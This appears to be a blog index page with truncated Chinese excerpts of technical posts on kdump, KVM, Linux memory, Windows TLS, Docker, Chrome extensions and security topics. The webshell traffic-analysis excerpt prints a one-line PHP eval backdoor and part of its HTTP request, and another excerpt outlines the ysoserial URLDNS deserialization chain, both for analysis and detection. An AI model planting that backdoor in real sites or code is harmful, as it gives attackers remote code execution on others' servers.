针对Tencent OS kdump服务无法运行及其原理分析
感谢同事及导师对此问题分析定位过程中的帮助。
客户提出母机crashkernel没有预留成功,导致kdump服务无法正常运行,这样会存在一个隐患,母机如果panic的话是无法成功生成crashcore的。
首先看看kdump的工作原理
内核运行过程中遇到致命错误会导致panic,此时kdump会将处于panic状态的内核数据现场进行保留,存储到硬盘中等外部设备,以便后续分析定位问题
kdump的设计是将物理内存的一部分划分出来专门留给kdump使用,如在redhat8中默认位168m,redhat9中默认位192m
kdump...
KVM架构原理-CPU虚拟化目前多数云厂商云服务器是采用xen和kvm进行虚拟化实现。且由于kvm的性能可以和pv媲美,天生支持硬件虚拟化,且在linux2.6.20被合并到linux kernel主流分支,维护成本较低等原因,所以大部分都是由kvm实现的。
学习kvm需理解基本术语如下:
KVM:Kernel-based Virtual Machine 基于Linux内核的虚拟机,位于ring 0
VMM: Virtual Machine Monitor 虚拟机监控层,也就是KVM的内核模块
VM: Virtual Machine 由VMM创建的虚拟化硬件平台
Guest OS: ...
这篇文章是对学习云原生及实习中做的一些工作的阶段性总结。
何为Iaas,Paas,Saas,引用知乎的一个高赞回答,可以理解为iaas作为云服务的第一个阶段,由云计算厂商统筹管理硬件资源,由客户来进行使用。用户需购买服务器并自己安装软件配置环境上传代码等开发运维工作
而PaaS由云厂商封装好应用的环境变量等配置信息由用户上传代码使用即可,这种和容器有异曲同工之处。SaaS即厂商软件也给你封装好,直接进行使用即可。
而serverless提供了一种更简洁更方便的云服务方式,无服务器即用户不需要再像往常一样考虑服务器方面的问题,比如服务器的维护,漏洞更新,网络带宽,缩扩容,软件环境配置等。...
记一次虚拟机启动失败调试过程实习过程中分配了个小任务,替换iso镜像中的sqfs文件并重新打包为iso。其中在测试iso是否打包成功过程中,要vmware发现无法启动报panic,具体输出如下图。后用centos7镜像做同样测试发现也会报错。深入centos7内核代码查看调试。最终发现是由于虚拟机配置初始化时默认硬盘空间太小导致无法挂载系统盘导致。
linux kernel源代码和iso镜像的关系梳理一下如何从linux kernel代码来制作iso的过程
下载kernel代码
修改配置文件
编译内核
安装内核
将文件系统打包为iso镜像
在安装好的系统下执行sudo cp -...
网上大神整理的linux内存管理图镇楼
起因是面试中面试官提到linux高端内存以及低端内存,对linux内核内存管理这方面了解较少。因此本文全面阐述linux内存,就是上图
Linux内核地址空间划分通常32位Linux内核虚拟地址空间划分03G为用户空间,34G为内核空间(注意,内核可以使用的线性地址只有1G)。注意这里是32位内核地址空间划分,64位内核地址空间划分是不同的。
高端内存以及低端内存计算机内存寻址过程中我们将页框作为内存分配的基本单元,一般现代32位计算机页框大小为4kb,此外内核必须记录每个页框的状态,如记录该页框保存的是内核代码还是用户代码,因此linux用p...
TLSwhat is TLSThread Local Storage(TLS),在Windows多线程编程中,访问全局变量时由于CPU时间片调度可能会导致出现意想不到的结果。最常见的方法就是对全局变量访问加锁。Windows为解决一个进程中多个线程同时访问全局变量。设计了TLS机制。TLS可以简单地由操作系统代为完成整个互斥过程,也可以由用户自己编写控制信号量的函数。当进程中的线程访问预先制定的内存空间时,操作系统会调用系统默认的或用户自定义的信号量函数,保证数据的完整性与正确性。
在执行含有TLS的程序时,首先依次加载用户编写的TLS回调函数数组(指针函数数组),接着转到OEP执行。因...
常见Webshell连接工具流量分析蚁剑网站后门一句话1<?php eval($_POST['bckdor']);?>
wireshark抓包
连接过程分析
http request数据包
123456789POST /ma.php HTTP/1.1Host: localhostAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CL...
Arm U Chrome本文整理了个人学习过程中发现的一些有用的chrome插件。
chrome应用商店 https://chrome.google.com/webstore/category/extensions,需~~科学上网~~
Tampermonkey【油猴】被各种教育网课折磨的大学生应该都知道这个插件吧。
可在插件商店安装各类插件,以及可自定义编写脚本。刷个课简直不要太爽。
还有多种实用功能等待探索
google translate【谷歌翻译】阅读英文资料不认识单词怎么办,这款插件可实时对所选内容进行翻译,且界面简介。笔者对多款翻译插件使用过后,发现不是反应速度慢(如有...
URLDNS链
概述
URLDNS 就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。
虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:
使用Java内置的类构造,对第三方库没有依赖
在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
利用链
12345* Gadget Chain:* HashMap.readObject()* HashMap.putVa...
概述
Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。
Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。
容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。
docker优点
相比配置各种复杂环境,docker将应用程序和环境配置分开。因此可以快速部署,测试代码,大大减少编写代码和在生产环境中运行代码之间的延迟。
docker架构docker包括三个基本概念
镜像(Image):...